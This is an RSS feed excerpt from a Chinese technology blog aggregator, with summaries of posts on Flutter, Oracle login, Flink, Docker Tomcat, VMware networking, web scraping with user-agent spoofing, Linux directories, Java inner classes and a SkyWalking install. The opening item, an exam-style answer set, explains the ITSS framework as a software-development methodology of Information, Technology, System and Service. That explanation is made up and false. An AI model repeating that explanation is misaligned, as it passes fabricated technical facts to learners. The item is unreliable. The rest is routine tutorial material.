      <description>2. 思考题&#xA;（1）请指出大数据的特点，并根据你的理解简要叙述大数据有哪些重要应用领域。&#xA;答：大数据的特点主要包括以下几个方面：&#xA;1.数据量大：大数据的数据量非常庞大，常常需要使用分布式计算和存储技术来处理。&#xA;2.数据类型多样：大数据包含了各种类型的数据，包括结构化数据、半结构化数据和非结构化数据等。&#xA;3.数据速度快：大数据的数据产生速度非常快，需要实时处理和分析。&#xA;4.价值密度低：大数据中往往包含了很多无用的信息，需要通过挖掘和分析来发现其中蕴含的价值。&#xA;大数据具有广泛的应用领域，主要包括以下几个方面：&#xA;1.金融行业：大数据可以用于风险控制、欺诈检测、交易分析等方面。&#xA;2.医疗行业：大数据可以用于疾病诊断、药物研发、健康管理等方面。&#xA;3.物流行业：大数据可以用于路线规划、货物追踪、仓储管理等方面。&#xA;4.零售行业：大数据可以用于消费者行为分析、商品推荐、库存管理等方面。&#xA;5.媒体行业：大数据可以用于内容推荐、广告投放、舆情分析等方面。&#xA;6.政府行业：大数据可以用于公共安全、城市管理、社会服务等方面。&#xA;（2）请总结归纳信息系统建设的特点，根据这些特点，请论述在实施信息系统项目管理时，应重点考虑哪些项目风险。&#xA;答：信息系统建设的特点包括：&#xA;复杂性：信息系统建设通常涉及多个部门和多个业务流程，需要考虑到各个方面的需求和限制。&#xA;长期性：信息系统建设需要长期投入和维护，需要考虑到系统的可持续性和灵活性。&#xA;技术性：信息系统建设需要应用先进的技术和工具，需要考虑到技术的可行性和可靠性。&#xA;用户参与度高：信息系统建设需要用户参与，需要考虑到用户的需求和反馈。&#xA;在实施信息系统项目管理时，应该着重考虑以下项目风险：&#xA;范围风险：信息系统建设范围的变化可能会导致项目延期或超预算。&#xA;时间风险：信息系统建设可能需要长时间的开发和测试，可能会导致项目延期或无法按时完成。&#xA;成本风险：信息系统建设的成本可能会超出预算，需要考虑到成本控制和管理。&#xA;技术风险：信息系统建设需要应用先进的技术和工具，可能会出现技术上的问题或限制。&#xA;人员风险：信息系统建设需要涉及多个部门和多个业务流程，需要考虑到团队的协作和沟通，以及人员流动的问题。&#xA;市场风险：信息系统建设可能会受到市场变化和竞争的影响，需要考虑到市场趋势和变化。&#xA;（3）结合你的工作岗位，请简要论述如何开展信息系统规划。&#xA;略。&#xA;（4）请简要叙述ITSS框架的主要内容。&#xA;ITSS框架是一种软件系统开发的方法论，其主要内容包括以下四个方面：&#xA;Information（信息）：ITSS框架强调信息的重要性，要求在软件系统开发过程中，必须对信息进行全面的分析，以确保系统设计满足用户需求。&#xA;Technology（技术）：ITSS框架提供了一系列的技术标准和最佳实践，以帮助开发人员更好地实现系统功能。&#xA;System（系统）：ITSS框架将软件系统视为一个整体，要求开发人员在系统设计和开发时考虑到各个组成部分之间的交互和协作。&#xA;Service（服务）：ITSS框架强调服务化的理念，将软件系统设计为一系列服务的集合，以方便系统的维护和升级。同时，ITSS框架还要求系统服务必须符合标准化、可重用、可扩展和可互操作的原则。</description>
    </item>
    <item>
      <title>Flutter组件--ListView组件</title>
      <link>https://bchobby.github.io/posts/beb4a9f63dd8179f45c08765dfb72213/</link>
      <pubDate>Mon, 22 May 2023 14:19:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/beb4a9f63dd8179f45c08765dfb72213/</guid>
      <description>Flutter中我们可以通过ListView来定义列表,支持垂直和水平方向展示.通过一个属性就可以控制列表的方向.列表有一下分类:&#xA;1.垂直列表;&#xA;2.垂直图文列表;&#xA;3.水平列表;&#xA;4.动态列表.&#xA;列表组件常用的参数 名称类型说明scrollDirectiionAxis Axis.horizontal 水平列表&#xA;Axis.vertical垂直列表&#xA;paddingEdgelinsetsGeometry内边距resolvebool组件反向排序childrenList列表元素Scrollbarwidget滑动时候,右侧显示的滚动条 shrinkWrap&#xA;bool设置为true的时候,没有下拉的动效.physics NeverScrollableScrollPhysics&#xA;(禁止滑动事件)&#xA;当两个ListView进行嵌套的时候,必须设置physics和shrinkWrap=YES.内层的ListView才不会进行滑动 itemExtent&#xA;double&#xA;强制修改cell的高度 RefreshIndicator&#xA;widget下拉刷新,刷新的 onRefresh方法需要是异步的.&#xA;controller.animateTo/列表回到顶部 1.代码示例(普通列表): class ListViewApp extends StatelessWidget { const ListViewApp({super.key}); @override Widget build(BuildContext context) { return ListView( scrollDirection: Axis.vertical,//设置滚动的方向 children: &amp;lt;Widget&amp;gt;[ const ListTile(title: Text(&#34;我是一个列表&#34;)), Divider(), //添加一个分割线 ListTile(leading: Icon(Icons.home_filled), title: Text(&#34;我是一个列表&#34;)), //左侧添加一个图片 Divider(), //添加一个分割线 const ListTile( title: Text(&#34;我是一个列表&#34;), trailing: Icon(Icons.arrow_right), ), //右侧添加一个图片 const ListTile( title: Text(&#34;我是一个列表&#34;), subtitle: Text(&#34;我是一个副标题&#34;), ), ListTile( leading: Image.</description>
    </item>
    <item>
      <title>使用python导出矢量图后无法编辑</title>
      <link>https://bchobby.github.io/posts/d80a5b7c513f12d8b76f36d6264a508a/</link>
      <pubDate>Mon, 22 May 2023 12:59:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d80a5b7c513f12d8b76f36d6264a508a/</guid>
      <description> 使用python绘图后（spyder），需要导出为可编辑的矢量图格式。&#xA;plt.savefig(outname+&#34;.png&#34;, format=&#39;png&#39;,dpi=600) plt.savefig(outname+&#34;.pdf&#34;, format=&#39;pdf&#39;,dpi=600) plt.savefig(outname+&#34;.eps&#34;, format=&#39;eps&#39;,dpi=600) plt.savefig(outname+&#34;.svg&#34;, format=&#39;svg&#39;,dpi=600) 然而：&#xA;导出为eps格式，文件过大，且导入到coreldraw编辑，无法显示图像坐标；导出为pdf格式，导入到coreldraw编辑，显示也有问题；发现只有导出为svg格式，然后导入到coreldraw编辑，才会正常显示。但是文字显示为曲线形式，无法用文本编辑。 </description>
    </item>
    <item>
      <title>Oracle登录</title>
      <link>https://bchobby.github.io/posts/6110d1c53bdfb3112dba9d83504a5a73/</link>
      <pubDate>Mon, 22 May 2023 10:08:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6110d1c53bdfb3112dba9d83504a5a73/</guid>
      <description>Oracle登录 端口号：1521 1、SQL Plus 的使用 sqlplus的登录&#xA;打开oracle自带的sqlplus插件&#xA;输入用户名 例：scott&#xA;输入口令 例：123456&#xA;注：初装oracle后scott的账号是处于锁定状态&#xA;cmd窗口登录&#xA;window+r 之后输入cmd，敲回车&#xA;输入 sqlplus，回车&#xA;输入用户名 例：scott&#xA;输入口令 例：123456&#xA;以管理员身份登录sqlplus&#xA;输入用户名 例：sys&#xA;输入口令 例：123456 as sysdba&#xA;输入用户名 例：sys as sysdba&#xA;输入口令 例：123456&#xA;# 解锁 alter user username account unlock; # 修改用户密码 alter user username identified by password; # username: 用户名&#x9;password: 密码 sqlplus直接登录数据库&#xA;sqlplus 用户名/密码@ip：port/数据库实例&#xA;例：sqlplus scott/scott@127.0.0.1:1521/orcl&#xA;sqlplus 用户名/密码 --连接默认实例&#xA;2、PLSQL登录 普通用户登录&#xA;Username：scott&#xA;Pawword：123456&#xA;Database：ORCL&#xA;Connect as：Normal</description>
    </item>
    <item>
      <title>Flink 基于 MailBox 实现的 StreamTask 线程模型</title>
      <link>https://bchobby.github.io/posts/4cb7b352e0e75be577cb0cf67d943287/</link>
      <pubDate>Sun, 21 May 2023 23:45:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4cb7b352e0e75be577cb0cf67d943287/</guid>
      <description>文章目录&#xA;1. Motivation2. 设计方案 2.1. StreamTask 中要做的改变2.2. client 代码需要做的改变2.3. event 的产生与处理2.4. Checkpoint 和 timer 的 trigger3. 具体实现 3.1. StreamTask 处理流程 3.1.1. event-processing 处理3.1.2. checkpoint trigger 处理3.2. SourceStreamTask 如何兼容4. 总结 本篇文章是 Flink 系列 的第八篇，在介绍 TaskManager 第二部分之前，先来给介绍一下目前 StreamTask 中基于 MailBox 实现的线程模型，这个模型从 1.9 开始实现，在目前发布的 1.10 版本中，基本上已经改造完成，具体 issue 见 FLINK-12477: Change threading-model in StreamTask to a mailbox-based approach，其设计文档见 Change threading-model in StreamTask to a mailbox-based approach，去年，vinoyang 也写了一篇关于它的介绍，见 重磅！Flink 将重构其核心线程模型。因为 Flink 1.10 已经发布，本篇关于 MailBox 实现的介绍会基于 1.</description>
    </item>
    <item>
      <title>【Docker实战】使用Docker部署Tomcat</title>
      <link>https://bchobby.github.io/posts/a01306dfc6ae3c1551c7783c86eeb355/</link>
      <pubDate>Sun, 21 May 2023 22:43:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a01306dfc6ae3c1551c7783c86eeb355/</guid>
      <description>【Docker实战】使用Docker部署Tomcat 一、Tomcat介绍1. Tomcat简介2. Tomcat特点3. Tomcat容器部署的优点4. Tomcat的配置文件 二、检查本地环境三、检查本地Docker环境1. 检查本地Docker服务2. 检查Docker版本 四、搜索docker hub中的tomcat镜像五、下载tomcat镜像六、创建Tomcat容器1.创建数据目录2.运行Tomcat容器3.查看Tomcat容器状态 七、访问Tomcat网页1.编辑网页内容2.访问tomcat网页 一、Tomcat介绍 1. Tomcat简介 Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选。&#xA;2. Tomcat特点 Tomcat是一种开源的、轻量级的应用服务器，它实现了Java Servlet和JavaServer Pages规范。&#xA;其特点包括：&#xA;轻量级：Tomcat是一个轻量级的Web容器，在内存占用和启动时间上都比较快。易用性：Tomcat的使用和部署非常简单，它提供了方便的Web界面和命令行工具来管理和配置Web应用程序。易扩展性：Tomcat支持多种插件和扩展，可以方便地集成其他的Web应用程序框架和技术。跨平台性：Tomcat是基于Java开发的，可以在多种操作系统平台上运行。安全性：Tomcat提供了丰富的安全管理和访问控制机制，可以确保Web应用程序的安全性和可靠性。 3. Tomcat容器部署的优点 Tomcat用容器部署的优点包括：&#xA;简化部署：通过容器化，可以将Tomcat的应用程序、配置文件和依赖项打包到一个docker容器中，从而简化了部署流程。&#xA;轻量级：容器是轻量级的，只包含运行应用程序所需的组件，这可以减少资源消耗，提高效率。&#xA;灵活性：容器可以随时启动、停止和移动，可以轻松地进行扩展和缩减，这为应对流量峰值和成本节约提供了便利。&#xA;可靠性：容器提供隔离和安全性，可以防止应用程序之间的相互影响，从而提高可靠性和安全性。&#xA;云友好性：容器可以轻松地在云端部署，与DevOps实践和自动化部署相适应，提高了应用程序管理的效率。&#xA;4. Tomcat的配置文件 Tomcat的配置文件包括以下几个：&#xA;server.xml：Tomcat服务器的主配置文件，定义了Tomcat的全局设置，包括端口、连接器、虚拟主机等。&#xA;web.xml：Web应用的配置文件，定义了Web应用的基本设置和参数。&#xA;context.xml：Web应用的上下文配置文件，定义了Web应用的上下文作用域的参数和设置。&#xA;catalina.properties：Tomcat的全局属性文件，定义了Tomcat的全局属性值。&#xA;logging.properties：Tomcat的日志配置文件，定义了Tomcat的日志记录器和级别。&#xA;tomcat-users.xml：Tomcat的用户认证和授权配置文件，定义了Tomcat管理界面的账户和权限。&#xA;realm.properties：Tomcat的安全领域配置文件，定义了Tomcat安全领域的用户名和密码及其角色。&#xA;jaspic-providers.xml：Tomcat的JASPIC（Java Authentication Service Provider Interface for Containers）配置文件，定义了JASPIC提供者的配置信息。&#xA;二、检查本地环境 检查本地操作系统版本：&#xA;[root@node ~]# cat /etc/os-release NAME=&#34;CentOS Linux&#34; VERSION=&#34;7 (Core)&#34; ID=&#34;centos&#34; ID_LIKE=&#34;rhel fedora&#34; VERSION_ID=&#34;7&#34; PRETTY_NAME=&#34;CentOS Linux 7 (Core)&#34; ANSI_COLOR=&#34;</description>
    </item>
    <item>
      <title>DrissionPage学习（一）</title>
      <link>https://bchobby.github.io/posts/d231d20edd1531c4558b806ec99ae463/</link>
      <pubDate>Sun, 21 May 2023 20:18:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d231d20edd1531c4558b806ec99ae463/</guid>
      <description>一、下载适合mac环境的chromedriver.exe 1.查找chrome浏览的版本&#xA;方法二：查看chrome版本信息&#xA;2.确定版本后在下载chrome对应的chromedriver.exe&#xA;下载地址：http://chromedriver.storage.googleapis.com/index.html&#xA;3.在文件夹中找到下载的文件chromedriver并放入到下图红框目录下：&#xA;4.验证chromedriver是否安装成功&#xA;二、在mac上执行DrissionPage遇到的问题 1.执行时报端口号被占用&#xA;解决办法如下：终端输入命令查找被占用端口的进程号&#xA;sudo losf -i: 9515&#xA;kill该进程：sudo kill 15500&#xA;2.执行时报错&#xA;错误原因：set_path是设置浏览器可执行文件的路径，这里应该设置为：&#xA;set_paths(browser_path=r’/Applications/Google Chrome.app/Contents/MacOS/Google Chrome’)</description>
    </item>
    <item>
      <title>逆向案例之X车网</title>
      <link>https://bchobby.github.io/posts/e11a9af93357beb83fc5ef1540899bf6/</link>
      <pubDate>Sun, 21 May 2023 18:32:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e11a9af93357beb83fc5ef1540899bf6/</guid>
      <description>逆向案例之X车网 ***用到的知识点： (1)requests模块和session模块，发起请求 什么是session对象？ 该对象和requests模块用法几乎一致.对于在请求过程中产生了cookie的请求如果该请求是使用session发起的,则cookie会被自动存储到session中. session = requests.Session() 详见博客：https://www.cnblogs.com/dream-ze/p/17176494.html&#xA;(2)headers头部伪装，随机UA伪装 # UA伪装之随机headers模块 from fake_useragent import UserAgent headers = {&#39;User-Agent&#39;: UserAgent().random,} # 这里的random方法不需要random模块支持 (3)md5加密算法，加密数据 # md5加密模块 from hashlib import md5 # 如果需要十六进制的结果与二进制的结果之间的转换，需要的模块 import binascii # 【1】准备数据 data = &#39;你好&#39; #这里是字符串类型 # 字符串转二进制数据方式一 encode_data = s.encode() # 字符串转二进制数据方式二 encode_data = b&#39;你好&#39; # 【2】数据加密 # 构建md5对象 md5_obj = md5() # 将数据更新到md5算法中进行数据加密 (参数为二进制数据的明文数据) #(方法一)：直接在加密算法中进行转码 md5_obj.update(&#34;你好&#34;.encode(&#34;utf-8&#34;)) md5_obj.update(data.encode(&#34;utf-8&#34;)) #(方法二)：先将明文数据进行转码，再传入到加密算法中 md5_obj.update(encode_data) # 【3】数据提取 # 拿到加密字符串 # 十六进制的结果 result_16 = obj.</description>
    </item>
    <item>
      <title>【VMware】搭建个人服务器</title>
      <link>https://bchobby.github.io/posts/eadf6a134d899a38861cf3fa408caed3/</link>
      <pubDate>Sun, 21 May 2023 17:44:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eadf6a134d899a38861cf3fa408caed3/</guid>
      <description>文章目录 准备工作三种网络模式Bridged(桥接模式)定义设置 NAT(网络地址转换模式)定义设置 Host-Only(仅主机模式)定义设置 搭建服务器网络模式的选择在VMWare的网络编辑器中设置转发端口查看宿主机的ip地址使用ssh连接工具进行连接 Mac笔记本跑虚拟机总感觉别扭，通过VMware虚拟机技术，将闲置的Windows笔记本打造成服务器，用于搭建集群之用&#xA;准备工作 用作宿主机的Windows需要安装好VMware软件&#xA;参看网站：https://blog.csdn.net/al6nlee/article/details/130792439&#xA;关闭宿主机的防火墙，避免请求被拦截&#xA;用作连接机的Mac需要安装好ssh工具，可以用自带的终端(我用的是Royal TSX)&#xA;保障连接机与宿主机在同一个局域网&#xA;三种网络模式 打开vmware虚拟机，我们可以在选项栏的“编辑”下的“虚拟网络编辑器”中看到VMnet0（桥接模式）、VMnet1（仅主机模式）、VMnet8（NAT模式）&#xA;同时，在主机上对应的有VMware Network Adapter VMnet1和VMware Network Adapter VMnet8两块虚拟网卡，它们分别作用于仅主机模式与NAT模式下。在“网络连接”中我们可以看到这两块虚拟网卡，如果将这两块卸载了，可以在vmware的“编辑”下的“虚拟网络编辑器”中点击“还原默认设置”，可重新将虚拟网卡还原。&#xA;Bridged(桥接模式) 定义 桥接模式就是将主机网卡与虚拟机虚拟的网卡利用虚拟网桥进行通信。&#xA;在桥接的作用下，类似于把物理主机虚拟为一个交换机，所有桥接设置的虚拟机连接到这个交换机的一个接口上，物理主机也同样插在这个交换机当中，所以所有桥接下的网卡与网卡都是交换模式的，相互可以访问而不干扰。在桥接模式下，虚拟机ip地址需要与主机在同一个网段，如果需要联网，则网关与DNS需要与主机网卡一致。其网络结构如下图所示：&#xA;设置 编辑虚拟机设置&#xA;“网络适配器”，选择&#34;桥接模式&#34;&#xA;先确定宿主机的ip地址、网管、DNS等信息&#xA;编辑网卡配置文件&#xA;vi /etc/sysconfig/network-scripts/ifcfg-eth0&#xA;重启虚拟机网卡，并测试虚拟机与外网通信&#xA;/etc/init.d/network restart&#xA;虚拟机与宿主机之间通信&#xA;NAT(网络地址转换模式) 定义 当网络ip资源紧缺时，又希望你的虚拟机能够联网，这时候NAT模式是最好的选择。NAT模式借助虚拟NAT设备和虚拟DHCP服务器，使得虚拟机可以联网。其网络结构如下图所示：&#xA;设置 虚拟网络编辑器配置&#xA;虚拟机配置&#xA;编辑网卡配置文件&#xA;vi /etc/sysconfig/network-scripts/ifcfg-eth0&#xA;重启虚拟机网卡并与测试虚拟机与外网测试&#xA;关闭VMware Network Adapter VMnet8虚拟网卡，测试虚拟机与外网通信&amp;amp;测试虚拟机与宿主机通信&#xA;虚拟机与外网通信 -&amp;gt; 正常通信&#xA;虚拟机与宿主机通信 -&amp;gt; 不通&#xA;Host-Only(仅主机模式) 定义 Host-Only模式其实就是NAT模式去除了虚拟NAT设备，然后使用VMware Network Adapter VMnet1虚拟网卡连接VMnet1虚拟交换机来与虚拟机通信的，Host-Only模式将虚拟机与外网隔开，使得虚拟机成为一个独立的系统，只与主机相互通讯。&#xA;如果要使得虚拟机能联网，我们可以将主机网卡共享给VMware Network Adapter VMnet1网卡，从而达到虚拟机联网的目的。&#xA;其网络结构如下图所示：&#xA;设置 虚拟网络编辑器</description>
    </item>
    <item>
      <title>局部最优解和全局最优解</title>
      <link>https://bchobby.github.io/posts/917a5d09a85650555b1015487c2e265e/</link>
      <pubDate>Sun, 21 May 2023 16:47:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/917a5d09a85650555b1015487c2e265e/</guid>
      <description>局部最优解（Local Optima）和全局最优解（Global Optima）是在优化问题中经常讨论的两个概念，用于描述目标函数的最佳取值。&#xA;局部最优解：局部最优解是指在某个特定区域内目标函数取得的最优值，该值在该区域内可能是最小值或最大值。局部最优解是相对于特定的起始点或局部搜索过程而言的，这意味着在局部搜索的范围内找到了最优解，但不一定是全局最优解。&#xA;全局最优解：全局最优解是指目标函数在整个定义域内取得的最优值，该值是所有可能解中最优的。全局最优解是相对于整个问题空间而言的，它表示在所有可能的解中找到了最优解，具有最小或最大的目标函数值。&#xA;在优化问题中，我们通常的目标是寻找全局最优解，因为全局最优解代表了问题的最佳解决方案。然而，许多复杂的优化问题存在多个局部最优解，导致全局最优解的搜索变得困难。特别是对于非凸函数、高维空间和复杂约束的问题，很难保证找到全局最优解。&#xA;为了解决这个问题，可以采用以下策略：&#xA;多次运行：使用不同的初始值多次运行优化算法，以增加找到全局最优解的机会。每次运行可能会收敛到不同的局部最优解，但通过多次尝试可以增加找到全局最优解的概率。&#xA;改进算法：使用更复杂的优化算法或改进的算法来克服陷入局部最优解的问题。例如，遗传算法、粒子群优化、模拟退火等启发式算法具有全局搜索的性质，能够更好地逃离局部最优解。&#xA;全局优化方法：采用专门设计的全局优化方法，如网格搜索、遗传算法等，可以直接针对全局最优解进行搜索，但通常需要更高的计算成本。&#xA;需要根据具体问题和目标函数的性质选择合适的方法来处理局部最优解和全局最优解的问题。对于大多数实际应用，找到一个接近全局最优解的解决方案已经足够好，并且可以通过调整参数、改进算法等方法来不断优化结果。</description>
    </item>
    <item>
      <title>CSS实现内容可以滚动，不显示滚动条</title>
      <link>https://bchobby.github.io/posts/569d8029cd8b7f4907bd94c15d795538/</link>
      <pubDate>Sun, 21 May 2023 15:54:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/569d8029cd8b7f4907bd94c15d795538/</guid>
      <description> 两种方式：&#xA;使用 padding使用 ::webkit-scrollbar 第一种，使用padding&#xA;先把 body 的滚动条隐藏，隐藏横向滚动条；把 main 元素的 overflow-y 设置为 scroll，让它可以垂直滚动；把 main 元素的右侧间距 padding-right 设置为滚动条的宽度。根据操作系统会有不同，windows 数值大些； 第二种，使用 ::webkit-scrollbar&#xA;.demo::-webkit-scrollbar { display: none; /* Chrome Safari */ } .demo { scrollbar-width: none; /* firefox */ -ms-overflow-style: none; /* IE 10+ */ overflow-x: hidden; overflow-y: auto; } </description>
    </item>
    <item>
      <title>【VMware】VM安装虚拟机</title>
      <link>https://bchobby.github.io/posts/ddac2415a1d6a374e92820ed69731847/</link>
      <pubDate>Sun, 21 May 2023 15:30:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ddac2415a1d6a374e92820ed69731847/</guid>
      <description> 文章目录 VMware教程创建新的虚拟机自定义安装选择稍后安装操作系统这里选择Linux操作系统，版本为Centos7 64位选择名称和安装位置选择处理器、内核数量（可根据电脑硬件以及需求进行调整）选择2G内存（可根据电脑硬件以及需求进行调整）选择网络类型选择虚拟磁盘对于不需要的硬件进行移除 国内镜像源地址下载镜像安装镜像选择第一项Install CentOS 7磁盘划分设置网络设置root密码 VMware教程 官网下载版:阿里网盘分享地址&#xA;创建新的虚拟机 自定义安装 选择稍后安装操作系统 这里选择Linux操作系统，版本为Centos7 64位 选择名称和安装位置 选择处理器、内核数量（可根据电脑硬件以及需求进行调整） 选择2G内存（可根据电脑硬件以及需求进行调整） 选择网络类型 选择虚拟磁盘 对于不需要的硬件进行移除 国内镜像源地址 清华源：https://mirrors.tuna.tsinghua.edu.cn/阿里源：https://developer.aliyun.com/mirror/ 下载镜像 CentOS Minimal：CentOS的最小化安装版本，只包含最基本的命令行工具和软件包，适合用于服务器环境。&#xA;https://mirrors.aliyun.com/centos/7.9.2009/isos/x86_64/&#xA;Ubuntu Server：Ubuntu的服务器版本，也是一个无桌面版操作系统，只包含命令行界面和基本工具，适合用于服务器环境。&#xA;https://mirrors.aliyun.com/oldubuntu-releases/releases/20.04.5/&#xA;安装镜像 以centos7为例&#xA;选择第一项Install CentOS 7 磁盘划分 在手动完成分区中选择加号，并挂载/boot 容量为300M&#xA;设置网络 里面有一栏需要设置网络，这个时候需要自己手动打开&#xA;设置root密码 </description>
    </item>
    <item>
      <title>Linux文件系统结构</title>
      <link>https://bchobby.github.io/posts/1960cf8d9bde93d89cd8c29474bb7597/</link>
      <pubDate>Sun, 21 May 2023 15:20:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1960cf8d9bde93d89cd8c29474bb7597/</guid>
      <description>1、linux文件系统结构&#xA;/:是Linux系统的根目录&#xA;/bin:存放用户经常使用的命令&#xA;/boot:启动加载程序的静态文件&#xA;/dev:设备文件目录，不能单独分区&#xA;/etc:系统配置文件目录&#xA;/home:普通用户的家目录&#xA;/root:系统管理员的家目录&#xA;/run:进程的运行数据存放的目录&#xA;/sbin:存放系统管理员用户使用的命令&#xA;/tmp:临时文件目录；任何人都可以访问，存放周期10天&#xA;/usr:存放程序文件，库文件，共享文件，各种文档等&#xA;/usr/bin:存放用户命令&#xA;/usr/local:程序安装目录&#xA;/usr/sbin:类似/sbin;存放管理员用户使用的命令&#xA;/usr/tmp：被抛弃的临时文件目录&#xA;/var:动态数据文件目录；日志文件log，数据库，缓存目录等&#xA;/lib:存放程序的库文件&#xA;/lib64:存放64位程序库文件&#xA;/media:移动媒体的挂载点&#xA;/mnt:临时挂载的文件系统的挂载点&#xA;/opt:存放第三方软件服务&#xA;/proc:伪文件系统，内核映射文件，不能单独分区&#xA;/srv: 用来存储本机提供的服务或数据&#xA;/sys:伪文件系统，跟硬件设备相关的属性映射文件，不能单独分区&#xA;2、绝对路径&#xA;绝对路径是指从根目录开始描述的路径，也就是从/开始。&#xA;例如：/etc/sysconfig/network-scripts/ifcfg-ens33&#xA;3、相对路径&#xA;相对路径是指从当前位置开始描述的路径。&#xA;常用的标识符:&#xA;./ 当前目录&#xA;… 当前目录的上级目录</description>
    </item>
    <item>
      <title>永磁同步电机-随机PWM调制-仿真模型</title>
      <link>https://bchobby.github.io/posts/062e42613fb30171e144ccc07783a3d8/</link>
      <pubDate>Sun, 21 May 2023 15:19:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/062e42613fb30171e144ccc07783a3d8/</guid>
      <description> 1.控制策略 FOC双闭环 OR DeadBeat无差拍控制 2.调制策略 随机载波频率 OR 随机零矢量占空比 3.仿真结果 仿真模型概图 【1】常规固定频率SVPWM 三相电流 电流FFT分析(谐波集中) 转矩频谱分析&#xA;【2】随机频率SVPWM 三相电流 电流谐波FFT分析(谐波被分散在宽频段) 转矩频谱分析&#xA;模型获取请看博主置顶文章 </description>
    </item>
    <item>
      <title>JAVA内部类</title>
      <link>https://bchobby.github.io/posts/1dbec30de1e2ac72a5bfbe8917b11eb8/</link>
      <pubDate>Sun, 21 May 2023 13:50:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1dbec30de1e2ac72a5bfbe8917b11eb8/</guid>
      <description>内部类就是在一个类中定义一个类&#xA;java中的内部类主要分为两类四种：&#xA;第一类：定义在外部类局部位置上，分为局部内部类( 有 类名)、匿名(没有类名)。&#xA;第二类：定义在外部类的成员位置上，分为成员内部类(没有static修饰)、静态内部类(使用static修饰)。&#xA;a.成员内部类的创建需要依赖于外部类对象-（成员方法必须通过对象调用），在没有外部类实例之前无法创建成员内部类对象&#xA;b.内部类与外部类相对独立，不是is a 的关系（发动机-汽车）&#xA;c.私有属性的互相访问，内部类可以直接访问外部类，而外部类访问内部类需要内部类的对象来访问&#xA;格式：&#xA;/* class 外部类名{ 修饰符 class 内部类名{ } } */ class Outer { public class Inner { } } 内部类访问特点&#xA;1.内部类可以直接访问外部类的成员，包括私有的&#xA;2.外部类要访问内部类的成员，必须创建对象&#xA;1.成员内部类 成员内部类是定义在外部类的成员位置上，并且没有static修饰&#xA;成员内部类的使用&#xA;1.可以直接访问外部类的所有成员，包括私有的。外部类访问成员内部类访问方式：创建对象，再访问；&#xA;2.可以添加任意访问修饰符，因为它的地位就是一个成员；&#xA;3.作用域和外部类的其他成员一样，为整个类体&#xA;4.如果外部类和内部类的成员重名时，内部类访问的话，遵循就近原则，如果想访问外部类的成员，则可以使用(外部类名.this.成员)去访问。&#xA;5.外部其他类访问成员内部类有三种方式：第一种实例化外部类，然后访问；第二种将内部类作为外部类的成员实例化然后访问；第三种在外部类里面编写一个方法，可以返回内部类对象。&#xA;成员内部类语法&#xA;1.在外部类内部创建内部类对象&#xA;2.在外部类外部创建内部类对象，格式：外部类名.内部类名 对象名 = 外部类对象.内部类对象;&#xA;例：Outer.Inner oi = new Outer().new Inner();&#xA;成员内部类的推荐使用方案：将一个类，设计为内部类的目的，大多数都是不想让外界去访问，所以内部类的定义应该私有化，私有化之后，再提供一个可以让外界调用的方法，方法内部创建内部类对象并调用。&#xA;class Outer { private int num = 10; private class Inner { public void show() { System.</description>
    </item>
    <item>
      <title>国内IEEEXplore访问加速（adblock）</title>
      <link>https://bchobby.github.io/posts/a916b6778c9bf49d44cd364e2eecb1c0/</link>
      <pubDate>Sun, 21 May 2023 10:00:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a916b6778c9bf49d44cd364e2eecb1c0/</guid>
      <description>访问IEEEXplore，需要加载一个网页需要等好久，然后才出来，就很奇怪，查到网上有同样这个问题&#xA;感谢原博主：ieeexplore加载慢的解决办法&#xA;核心原因： 国内无法访问地址：&#xA;https://cdn.jwplayer.com/libraries/6Mc4deRE.js 导致每次加载都会在访问这个地址的时候等待20s，然后才跳过&#xA;解决办法： 屏蔽此地址，不影响使用&#xA;浏览器安装屏蔽网站插件，我使用adblock&#xA;进入adblock的设置界面–高级&#xA;https://cdn.jwplayer.com/libraries/6Mc4deRE.js 将此网页黏贴过去并添加到我的过滤列表中&#xA;刷新页面&#xA;即可流畅访问IEEE了！</description>
    </item>
    <item>
      <title>伙伴匹配系统笔记---03</title>
      <link>https://bchobby.github.io/posts/d8121516cf7b55f6851690d381f991be/</link>
      <pubDate>Sat, 20 May 2023 20:33:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8121516cf7b55f6851690d381f991be/</guid>
      <description>一、后端整合： 接口文档：请求参数、响应参数、接口地址、接口名称、请求类型、请求格式。&#xA;有一个书面的文档，进行项目的维护和说明。&#xA;1.Swagger: 2.Knife4j 3.抓取信息： 看链接：SpringBoot整合Swagger_灰太狼家的小鸭子的博客-CSDN博客&#xA;二、存量用户信息导入以及同步： EasyExcel：的使用（后补）</description>
    </item>
    <item>
      <title>Linux / Centos Stream 9安装 Skywalking 9.4.0 记录</title>
      <link>https://bchobby.github.io/posts/7f3fefba486dd853ea16119dccc1de3c/</link>
      <pubDate>Sat, 20 May 2023 19:40:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f3fefba486dd853ea16119dccc1de3c/</guid>
      <description>链路追踪框架&#xA;官网：http://skywalking.apache.org/&#xA;下载：http://skywalking.apache.org/downloads/&#xA;Github：https://github.com/apache/skywalking&#xA;文档：https://skywalking.apache.org/docs/main/v9.4.0/readme/&#xA;中文文档： https://skyapm.github.io/document-cn-translation-of-skywalking/&#xA;1. 下载 SkyWalking OAP 服务、SkyWalking UI 服务&#xA;官网下载：&#xA;https://skywalking.apache.org/downloads/&#xA;在线下载：&#xA;wget https://dlcdn.apache.org/skywalking/9.4.0/apache-skywalking-apm-9.4.0.tar.gz 下载 Agents&#xA;在线下载：&#xA;wget https://dlcdn.apache.org/skywalking/java-agent/8.15.0/apache-skywalking-java-agent-8.15.0.tgz 2. 解压 习惯放到local路径下&#xA;cd /usr/local/ tar -zxvf 